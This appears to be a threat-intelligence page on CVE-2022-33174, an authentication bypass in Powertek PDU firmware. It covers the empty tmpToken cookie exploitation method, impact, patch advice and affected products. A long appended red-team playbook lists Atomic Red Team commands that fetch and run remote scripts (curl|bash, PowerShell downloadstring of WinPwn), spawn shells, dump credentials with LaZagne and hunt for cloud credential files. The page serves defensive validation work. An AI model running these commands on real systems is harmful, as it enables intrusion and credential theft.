CVE-2022-33174
Overview
This vulnerability is an authentication bypass affecting Powertek firmware on multiple Power Distribution Units (PDUs). The root cause lies in improper session validation within the web interface's data retrieval endpoint, which fails to correctly verify the tmpToken cookie value. This flaw exists in the firmware versions prior to 3.30.30 across several Powertek PDU models, specifically in the /cgi/get_param.cgi interface responsible for parameter fetching.
Vulnerability Description
Power Distribution Units running on Powertek firmware (multiple brands) before 3.30.30 allows remote authorization bypass in the web interface. To exploit the vulnerability, an attacker must send an HTTP packet to the data retrieval interface (/cgi/get_param.cgi) with the tmpToken cookie set to an empty string followed by a semicolon. This bypasses an active session authorization check. This can be then used to fetch the values of protected sys.passwd and sys.su.name fields that contain the username and password in cleartext.
Impact
An unauthenticated remote attacker can bypass authorization controls to access protected system credentials in cleartext, enabling potential unauthorized access to the device. The exploit requires network access to the PDU's web interface but no user interaction or prior authentication (AV:N/AC:L/PR:N/UI:N). This can lead to compromise of device management credentials, facilitating further network intrusion or disruption of power management infrastructure.
Solution
Users should upgrade affected Powertek PDU firmware to version 3.30.30 or later, where the authorization bypass flaw is corrected. Detailed patch instructions and firmware downloads are available from the vendor's security advisory linked at https://gynvael.coldwind.pl/?lang=en&id=748. No workarounds are documented; applying the firmware update is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Power Distribution Units (PDUs) running on specific Powertek firmware versions presents a significant security risk due to a remote authorization bypass in the web interface. This flaw allows an attacker to exploit the data retrieval interface by sending a specially crafted HTTP packet. By manipulating the tmpToken cookie to an empty string followed by a semicolon, the attacker can bypass the session authorization checks that are typically in place. This exploitation method grants unauthorized access to sensitive information, specifically the sys.passwd and sys.su.name fields, which contain the username and password in cleartext. The simplicity of this attack vector, requiring only basic knowledge of HTTP requests, makes it particularly concerning.
Exploitation scenarios for this vulnerability are varied and can have severe implications. An attacker could leverage this flaw to gain unauthorized access to critical infrastructure managed by the affected PDUs. For instance, an attacker could remotely manipulate power distribution settings, potentially leading to service disruptions or even physical damage to connected equipment. Furthermore, the exposure of cleartext credentials allows for further lateral movement within the network, enabling attackers to compromise additional systems and escalate their privileges. This could lead to a full-scale breach of an organization’s IT infrastructure, with potential ramifications including data theft, operational downtime, and reputational damage.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on PDUs for managing power distribution in data centers or critical facilities. The risk extends beyond immediate financial losses; the potential for operational disruptions could result in significant downtime, affecting service availability and customer trust. Additionally, organizations may face regulatory scrutiny and compliance issues if sensitive data is exposed or if the breach leads to a failure in meeting industry standards. The combination of these factors underscores the importance of addressing this vulnerability promptly to mitigate business risks.
Detection and mitigation strategies are essential to protect against this vulnerability. Organizations should implement network monitoring solutions that can detect unusual HTTP traffic patterns, particularly those targeting the affected data retrieval interface. Regular security audits and vulnerability assessments should be conducted to identify and remediate any instances of outdated firmware. Additionally, organizations should enforce strict access controls and authentication mechanisms to limit exposure to the web interface of the PDUs. Applying firmware updates provided by the vendor is crucial, as these updates often contain patches for known vulnerabilities. Furthermore, employing network segmentation can help isolate critical infrastructure from potential threats, reducing the attack surface.
In conclusion, the vulnerability affecting Power Distribution Units running on specific Powertek firmware versions poses a serious threat to organizations that depend on these devices for power management. The ease of exploitation, coupled with the potential for significant operational and reputational damage, necessitates immediate attention. By adopting comprehensive detection and mitigation strategies, organizations can protect their critical infrastructure and safeguard sensitive information from unauthorized access. The proactive management of such vulnerabilities is essential in maintaining the integrity and security of modern IT environments.
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting the CVE-2022-33174 vulnerability in Powertek firmware. Our telemetry indicates a recent surge in activity leveraging the remote authorization bypass, coinciding with the emergence of new proof-of-concept exploits publicly available on GitHub. This increased adversary interest elevates the likelihood of opportunistic attacks against vulnerable Power Distribution Units, particularly in environments where firmware updates have not been applied. Although the EPSS score shows a modest increase, the stable short-term trend suggests persistent attacker focus rather than a transient spike. For defenders, this shift underscores the urgency of monitoring network traffic for anomalous HTTP requests to the affected interface and reinforces the criticality of timely patch management. The evolving exploit landscape and heightened detection frequency collectively raise the threat level, signaling an increased risk of unauthorized access and potential compromise of critical infrastructure components.
Affected Products (7)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Powertekpdus | Basic Pdu Firmware | All |
cpe:2.3:o:powertekpdus:basic_pdu_firmware:*:*:*:*:*:*:*:*
|
|
|
Powertekpdus | Pm Pdu Firmware | All |
cpe:2.3:o:powertekpdus:pm_pdu_firmware:*:*:*:*:*:*:*:*
|
|
|
Powertekpdus | Piml Pdu Firmware | All |
cpe:2.3:o:powertekpdus:piml_pdu_firmware:*:*:*:*:*:*:*:*
|
|
|
Powertekpdus | Smart Pim Firmware | All |
cpe:2.3:o:powertekpdus:smart_pim_firmware:*:*:*:*:*:*:*:*
|
|
|
Powertekpdus | Smart Pos Firmware | All |
cpe:2.3:o:powertekpdus:smart_pos_firmware:*:*:*:*:*:*:*:*
|
|
|
Powertekpdus | Smart Pom Firmware | All |
cpe:2.3:o:powertekpdus:smart_pom_firmware:*:*:*:*:*:*:*:*
|
|
|
Powertekpdus | Smart Poms Firmware | All |
cpe:2.3:o:powertekpdus:smart_poms_firmware:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Henry4E36/CVE-2022-33174
Powertek PDU身份绕过
|
Henry4E36 | 4 | 1 | 2022-09-02 | View |
Threat Feed
5 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-33174 |
| gynvael.coldwind.pl |
GitHub CVE
x_refsource_MISC
|
https://gynvael.coldwind.pl/?lang=en&id=748 |